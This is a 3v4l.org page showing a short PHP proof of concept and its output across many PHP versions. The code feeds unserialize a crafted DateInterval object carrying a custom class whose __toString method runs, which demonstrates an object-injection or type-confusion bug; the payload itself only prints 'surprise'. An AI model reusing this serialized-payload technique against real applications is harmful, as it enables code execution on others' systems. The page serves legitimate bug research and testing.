3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* $ php poc1.php unexpected */ class Pwn { function __toString() { die("surprise\n"); } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:3:"Pwn":0:{}}'); ?>
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.37, 5.6.12 - 5.6.28, 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Output for 5.4.17 - 5.4.43, 5.5.0 - 5.5.27, 5.6.0 - 5.6.11, 7.0.0 - 7.0.8
surprise
Output for 5.4.0 - 5.4.16
Notice: Object of class Pwn could not be converted to int in /in/jfQIY on line 16

preferences:
197.51 ms | 401 KiB | 264 Q